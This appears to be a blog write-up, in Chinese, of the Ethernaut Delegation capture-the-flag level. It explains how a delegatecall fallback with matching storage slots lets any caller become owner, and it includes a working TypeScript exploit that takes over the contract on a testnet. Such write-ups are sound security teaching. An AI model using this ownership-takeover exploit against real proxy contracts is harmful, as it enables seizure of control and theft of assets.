Skip to content
On this page

Ethernaut Delegation 挑战:深入理解 delegatecall 的权限移交陷阱

在智能合约的世界里,安全永远是悬在开发者头上的达摩克利斯之剑。OpenZeppelin 提供的 Ethernaut 是一个经典的 Solidity CTF(夺旗挑战),通过一系列巧妙的关卡,引导我们探索智能合约的常见漏洞。今天,我们将聚焦于其中一个非常经典的关卡——Delegation,它将带我们深入剖析 Solidity 中一个强大却也充满潜在危险的低级函数:delegatecall

挑战目标:夺取合约控制权

这个挑战的目标非常直接:夺取你所获得的 Delegation 合约实例的拥有权 (owner)。

我们拿到手的是两个 Solidity 合约:DelegateDelegation

Delegate.sol

solidity
contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

这个合约很简单。它有一个 owner 变量,在构造函数中初始化。最关键的是它包含一个 pwn() 函数,这个函数的功能是将 owner 设置为当前调用者 (msg.sender)。

Delegation.sol

solidity
contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this; // 只是一个占位符,无实际作用
        }
    }
}

Delegation 合约看起来像是一个代理合约。它也有一个 owner 变量,并在构造函数中被设置为部署者。它还持有一个 Delegate 合约的实例。

重点来了,Delegation 合约实现了一个 fallback() 函数。这个函数会在对 Delegation 合约的调用不匹配任何已知函数签名时被触发。而在这个 fallback() 函数中,它做了一件非常重要的事情:address(delegate).delegatecall(msg.data)

这行代码,就是本次挑战的核心所在。

delegatecall 的奥秘与陷阱

在 Solidity 中,合约之间可以通过 calldelegatecallstaticcall 等低级函数进行交互。其中,delegatecall 是一个非常特殊且功能强大的函数,它通常用于实现可升级合约或者链上库。

delegatecall 的核心机制是:当合约 A 使用 delegatecall 调用合约 B 的函数时,合约 B 的代码会在合约 A 的 存储上下文 (storage context) 中执行,并且 msg.sendermsg.value 等全局变量也保持为对合约 A 的调用者信息。

打个比方,这就像是你把你的房子的钥匙和所有权证(合约 A 的存储和状态)交给了你的朋友(合约 B 的代码)。你的朋友可以随意按照他的意愿(合约 B 的函数逻辑)来装修、改动你房子里的任何东西,但这些改动都是发生在你自己的房子里,并且所有的花费和责任(msg.sender)都算在你的头上。

这种机制带来了巨大的灵活性,但也伴随着巨大的安全风险。如果被 delegatecall 调用的合约(合约 B)是恶意的或存在漏洞的,它就可以在调用者(合约 A)的存储空间中为所欲为,包括篡改重要的状态变量,甚至窃取资产。

漏洞分析:存储槽的对齐与权限转移

现在,让我们结合 delegatecall 的原理来分析 Delegation 合约的漏洞。

  1. Delegationfallback() 当我们调用 Delegation 合约一个不存在的函数(比如 pwn()),fallback() 函数会被触发。

  2. delegatecall 转发: fallback() 函数会执行 address(delegate).delegatecall(msg.data)。这意味着,我们的原始调用数据 msg.data(包含了我们想要调用的函数签名和参数)会被原封不动地转发给 Delegate 合约。

  3. 上下文切换: 此时,Delegate 合约中的 pwn() 函数的代码逻辑,将会在 Delegation 合约的存储上下文(而非 Delegate 合约自身)中执行。

  4. 存储槽对齐: 这是最关键的一步。让我们看看两个合约的存储变量声明顺序:

    • Delegate 合约: address public owner; (位于存储槽 0)
    • Delegation 合约: address public owner; (位于存储槽 0) Delegate delegate; (位于存储槽 1)

    惊人地巧合!两个合约的第一个存储槽都存储着一个 address public owner 变量。 当 Delegate 合约的 pwn() 函数在 Delegation 合约的存储上下文中执行 owner = msg.sender; 这行代码时,它修改的实际上是 Delegation 合约存储槽 0 上的 owner 变量!

因此,只要我们能够触发 Delegation 合约的 fallback 函数,并让它 delegatecallDelegate 合约的 pwn() 函数,我们就能成功地将 Delegation 合约的 owner 变量设置为我们的地址。

攻击步骤

攻击非常简单:

  1. 作为挑战者,直接调用 Delegation 合约的 pwn() 函数。
  2. 由于 Delegation 合约没有 pwn() 函数,其 fallback() 函数会被触发。
  3. fallback() 函数会将 pwn() 的调用请求 delegatecall 到其内部持有的 Delegate 实例。
  4. Delegate 实例的 pwn() 函数在 Delegation 的存储上下文中执行,将 Delegationowner 变量设置为挑战者的地址。

解决方案与验证 (TypeScript)

提供的 TypeScript 解决方案代码完美地演示了上述攻击过程:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
// ... (typechain imports, not directly used in the snippet)

describe("Delegation", function () {
  describe("Delegation testnet sepolia", function () {
    it("testnet sepolia Delegation owner", async function () {
      const DELEGATION_ADDRESS = "0x..."; // 题目提供的Delegation合约地址
      // 定义Delegate合约的ABI,用于与Delegation合约交互
      const DELEGATE_ABI = ["function pwn() external", "function owner() external view returns (address)"];

      const challenger = await ethers.getNamedSigner("deployer"); // 获取攻击者账户
      // 注意:这里是关键!我们创建了一个指向 DELEGATION_ADDRESS 的合约实例,
      // 但使用的是 DELEGATE_ABI。这意味着我们告诉 ethers,可以调用 DELEGATION_ADDRESS 上的 pwn() 函数,
      // 尽管 Delegation 本身没有这个函数。
      const delegateContract = new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger);

      // 发起对 Delegation 合约的 pwn() 调用
      const tx = await delegateContract.pwn();
      await tx.wait(); // 等待交易确认

      // 检查 Delegation 合约的 owner 是否已变为攻击者
      const delegationOwner = await delegateContract.owner();
      expect(delegationOwner).to.be.equals(challenger.address);
    });
  });
});

代码中的 new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger); 是精髓。它创建了一个 ethers.Contract 实例,但它指向的是 Delegation 合约的地址 (DELEGATION_ADDRESS),却使用了 Delegate 合约的 ABI (DELEGATE_ABI)。这允许我们“欺骗”以太坊客户端,让它认为 Delegation 合约拥有 pwn() 函数,从而成功触发其 fallback 机制。

经验与教训

Delegation 关卡生动地展示了 delegatecall 的双刃剑特性。它赋予了被调用合约在调用者存储空间中执行代码的巨大权限,使得在不匹配的存储布局下,或在对被委托合约的信任不足的情况下,极易发生意外的、灾难性的结果。

核心教训:

  1. 谨慎使用 delegatecall 只有在完全信任被委托合约、且对其功能和存储布局有清晰理解时才使用。
  2. 存储槽对齐至关重要: 当使用 delegatecall 实现代理模式时,代理合约和逻辑合约的存储变量声明顺序必须精确匹配,否则可能导致状态变量被意外修改。
  3. Fallback 函数安全: 如果 fallback 函数使用了 delegatecall,请确保被委托的逻辑是安全的,并且调用 fallback 不会带来意想不到的副作用。

通过 Delegation 关卡,我们不仅掌握了 delegatecall 的工作原理,更重要的是,深刻理解了在智能合约开发中,对低级函数和合约之间交互的细致入微的理解是多么重要。每一个函数,都可能是潜在的安全漏洞的突破口。


Built with AiAda